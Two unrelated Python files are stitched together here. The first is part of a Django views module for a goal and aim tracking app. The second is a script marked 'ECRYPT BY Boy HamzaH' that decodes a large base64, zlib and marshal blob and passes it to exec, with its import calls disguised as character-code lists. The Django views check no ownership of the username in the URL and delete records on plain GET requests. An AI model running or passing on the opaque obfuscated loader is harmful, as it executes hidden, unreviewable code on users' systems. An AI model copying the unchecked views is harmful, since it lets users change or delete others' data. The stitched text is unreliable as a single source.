except(TypeError, ValueError, OverflowError, User.DoesNotExist):
user = None
if user is not None and account_activation_token.check_token(user, token):
user.is_active = True
user.save()
login(request, user)
return render(request, 'activation_complete.html')
else:
return HttpResponse('Activation link is invalid!')
def profile(request, username):
fcollage(username)
return render(request, 'profile.html')
def AimListView(request, username):
lists = ListModel.objects.filter(user_name = username)
vars = dict(
lists = lists,
ListAddingForm = ListForm(),
list_link = "/"+username+"/lists/"
)
if request.method == 'POST':
form = ListForm(request.POST)
if form.is_valid():
list = form.save(commit = False)
list.user_name = request.user.username
list.save()
return HttpResponseRedirect("/"+username+"/lists/red_to_list")
else:
form = ListForm()
vars['ListAddingForm'] = form
return render(request, 'lists.html', vars)
def AimView(request, username, listid):
lists = ListModel.objects.filter(user_name = username)
aims = Aim.objects.filter(user_name = username, list_id = listid, parent_id = -1, is_completed = False)
completed = Aim.objects.filter(user_name = username, list_id = listid, parent_id = -1, is_completed = True)
list = ListModel.objects.get(id = listid)
d = dict()
for desc in Description.objects.all():
if (desc.aim_id != None and len(Aim.objects.filter(id = desc.aim_id)) != 0):
d[Aim.objects.get(id = desc.aim_id)] = desc
vars = dict(
lists = lists,
aims = aims,
listname = list.name,
formA = AimForm(),
formB = ListForm(),
list_link = "/"+username+"/lists/",
completed = completed,
ListAddingForm = ListForm(),
d = d
)
if request.method == 'POST' and 'aimbtn' in request.POST:
form = AimForm(request.POST, request.FILES)
if form.is_valid():
aim = form.save(commit = False)
aim.user_name = username
list = ListModel.objects.get(id = listid)
aim.list_id= list.id
aim.percent = aim.cur_points / aim.all_points * 100
aim.save()
Description.objects.create(aim_id = aim.id)
setting = Setting.objects.get(user_name = username)
if setting.google_sync:
add_to_calendar(aim)
return HttpResponseRedirect("/"+username+"/lists/"+listid+"/red_to_aimlist")
else:
form = AimForm()
if request.method == 'POST':
form = ListForm(request.POST)
if form.is_valid():
list = form.save(commit = False)
list.user_name = request.user.username
list.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+"/red_to_aimlist")
else:
form = ListForm()
return render(request, 'aims.html', vars)
def editSubAimView(request, username, listid, aimid, pk):
parent = Aim.objects.get(id = aimid)
lists = ListModel.objects.filter(user_name = username)
list = ListModel.objects.get(id = listid)
subaims = Aim.objects.filter(parent_id = aimid, is_completed = False)
cur_subaim = Aim.objects.get(id = pk)
vars = dict(
subaims = subaims,
lists = lists,
aim = parent,
listname = list.name,
formA = SubAimForm(),
formB = ListForm(),
list_link = "/"+username+"/lists/",
ListAddingForm = ListForm()
)
if request.method == 'POST' and 'aimbtn' in request.POST:
form = SubAimForm(request.POST, request.FILES, instance = cur_subaim)
if form.is_valid():
cur_subaim.user_name = username
cur_subaim.name = form.cleaned_data['name']
cur_subaim.deadline = form.cleaned_data['deadline']
cur_subaim.is_important = form.cleaned_data['is_important']
list = ListModel.objects.get(id = listid)
cur_subaim.list_id = listid
cur_subaim.parent_id = aimid
cur_subaim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
else:
form = SubAimForm(instance = Aim.objects.get(id = pk))
vars['formA'] = form
return render(request, 'edit_subaim.html', vars)
class deleteListView(DeleteView):
model = ListModel
form_class = ListForm
def get_success_url(self):
list = ListModel.objects.get(id = self.object.id)
return reverse('lists', kwargs={'username': list.user_name})
class deleteSubAimView(DeleteView):
model = Aim
form_class = SubAimForm
def get_success_url(self):
parent = Aim.objects.get(id = self.object.parent_id)
return reverse ('subaim', kwargs={'username': parent.user_name, 'listid': parent.list_id, 'aimid': parent.id})
def get(self, request, *args, **kwargs):
return self.post(request, *args, **kwargs)
def editListView(request, username, pk):
lists = ListModel.objects.filter(user_name = username)
cur_list = ListModel.objects.get(id = pk)
vars = dict(
lists = lists,
form = ListForm(),
list_link = "/"+username+"/lists/",
ListAddingForm = ListForm()
)
if request.method == 'POST':
form = ListForm(request.POST, instance = cur_list)
if form.is_valid():
cur_list.user_name = request.user.username
cur_list.name = form.cleaned_data['name']
cur_list.save()
return HttpResponseRedirect("/"+username+"/lists/red_to_list")
else:
form = ListForm(instance = ListModel.objects.get(id = pk))
vars['form'] = form
return render(request, 'edit_list.html', vars)
def editAimView(request, username, listid, pk):
lists = ListModel.objects.filter(user_name = username)
aims = Aim.objects.filter(user_name = username, list_id = listid, parent_id = -1, is_completed = False)
completed = Aim.objects.filter(user_name = username, list_id = listid, parent_id = -1, is_completed = True)
list = ListModel.objects.get(id = listid)
print(id, pk)
cur_aim = Aim.objects.get(id = pk)
vars = dict(
lists = lists,
aims = aims,
listname = list.name,
formA = AimForm(),
formB = ListForm(),
list_link = "/"+username+"/lists/",
ListAddingForm = ListForm(),
completed = completed
)
if request.method == 'POST' and 'aimbtn' in request.POST:
form = AimForm(request.POST, request.FILES, instance = cur_aim)
if form.is_valid():
cur_aim.user_name = username
cur_aim.name = form.cleaned_data['name']
cur_aim.deadline = form.cleaned_data['deadline']
cur_aim.is_important = form.cleaned_data['is_important']
cur_aim.image = form.cleaned_data['image']
cur_aim.cur_points = form.cleaned_data['cur_points']
cur_aim.all_points = form.cleaned_data['all_points']
cur_aim.percent = cur_aim.cur_points / cur_aim.all_points * 100
list = ListModel.objects.get(id = listid)
cur_aim.list_id= list.id
cur_aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+"/red_to_aimlist")
else:
form = AimForm(instance = Aim.objects.get(id = pk))
vars['formA'] = form
return render(request, 'edit_aim.html', vars)
def completeAimView(request, username, listid, aimid):
cur_aim = Aim.objects.get(id = aimid)
cur_aim.is_completed = True
cur_aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+"/red_to_aimlist")
def completeSubAimView(request, username, listid, aimid, subaim_id):
cur_aim = Aim.objects.get(id = subaim_id)
cur_aim.is_completed = True
cur_aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
def cancel_completeSubAimView(request, username, listid, aimid, subaim_id):
cur_aim = Aim.objects.get(id = subaim_id)
cur_aim.is_completed = False
cur_aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
def cancel_completeAimView(request, username, listid, aimid):
cur_aim = Aim.objects.get(id = aimid)
cur_aim.is_completed = False
cur_aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+"/red_to_aimlist")
class deleteAimView(DeleteView):
model = Aim
form_class = AimForm
def get_success_url(self):
parent = Aim.objects.get(id = self.object.id)
return reverse ('aims', kwargs={'username': parent.user_name, 'listid': parent.list_id})
def get(self, request, *args, **kwargs):
return self.post(request, *args, **kwargs)
def SubAimView(request, username, listid, aimid):
parent = Aim.objects.get(id = aimid)
lists = ListModel.objects.filter(user_name = username)
list = ListModel.objects.get(id = listid)
subaims = Aim.objects.filter(parent_id = aimid, is_completed = False).order_by('deadline')
completed = Aim.objects.filter(parent_id = aimid, is_completed = True).order_by('deadline')
desc = Description.objects.get(aim_id = aimid)
vars = dict(
subaims = subaims,
lists = lists,
aim = parent,
listname = list.name,
formA = SubAimForm(),
formB = ListForm(),
formC = SubaimParsingForm(),
list_link = "/"+username+"/lists/",
completed = completed,
ListAddingForm = ListForm(),
DescForm = DescriptionForm
)
if request.method == 'POST' and 'aimbtn' in request.POST:
formA= SubAimForm(request.POST, request.FILES)
if formA.is_valid():
aim = formA.save(commit = False)
aim.user_name = username
list = ListModel.objects.get(id = listid)
aim.list_id = listid
aim.parent_id = aimid
aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
else:
formA = SubAimForm()
if request.method == 'POST' and 'desc_btn' in request.POST:
DescForm= DescriptionForm(request.POST, request.FILES, instance = desc)
if DescForm.is_valid():
desc.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
else:
DescForm = DescriptionForm(instance = desc)
if request.method == 'POST' and 'parsebtn' in request.POST:
formC = SubaimParsingForm(request.POST, request.FILES)
if formC.is_valid():
text = formC.cleaned_data['text'].split('\n')
for row in text:
name, deadline = goal_analysis(row)
deadline = deadline.replace(hour=12, minute=0)
aim = Aim(name = name, deadline = deadline, user_name = username, list_id = listid, parent_id = aimid)
aim.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
else:
formC = SubaimParsingForm()
if request.method == 'POST':
formB = ListForm(request.POST)
if formB.is_valid():
list = formB.save(commit = False)
list.user_name = request.user.username
list.save()
return HttpResponseRedirect("/"+username+"/lists/"+listid+'/'+aimid+"/red_to_aim")
else:
formB = ListForm()
vars['formA'] = formA
vars['formB'] = formB
vars['formC'] = formC
vars['DescForm'] = DescForm
return render(request, 'deep_aim.html', vars)
def settings(request, username):
print("TYTA1")
if request.method == 'POST':
form = SettingForm(request.POST)
print("TYTA2")
if form.is_valid():
setting = form.save(commit = False)
setting.user_name = username
Setting.objects.get(user_name = username).delete()
setting.save()
print(setting.google_sync)
if setting.google_sync:
#old_stdout = sys.stdout
#sys.stdout = mystdout = StringIO()
calendar_authorization(username)
#sys.stdout = old_stdout
else:
form = SettingForm(instance = Setting.objects.get(user_name = username))
return render(request, 'settings.html', {'form': form})
|
16,910 | 3db8b205f6fcec5ea7a55f16d3183d16d6adcf7b | # ECRYPT BY Boy HamzaH
# Subscribe Cok Chanel YouTube Gua Anjing
# Dan Jangan Lupa Follow Github Gua
exec(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 39, 109, 97, 114, 115, 104, 97, 108, 39, 41, 46, 108, 111, 97, 100, 115],chr))(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 122, 108, 105, 98, 34, 41, 46, 100, 101, 99, 111, 109, 112, 114, 101, 115, 115],chr))(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 98, 97, 115, 101, 54, 52, 34, 41, 46, 98, 54, 52, 100, 101, 99, 111, 100, 101],chr))(b'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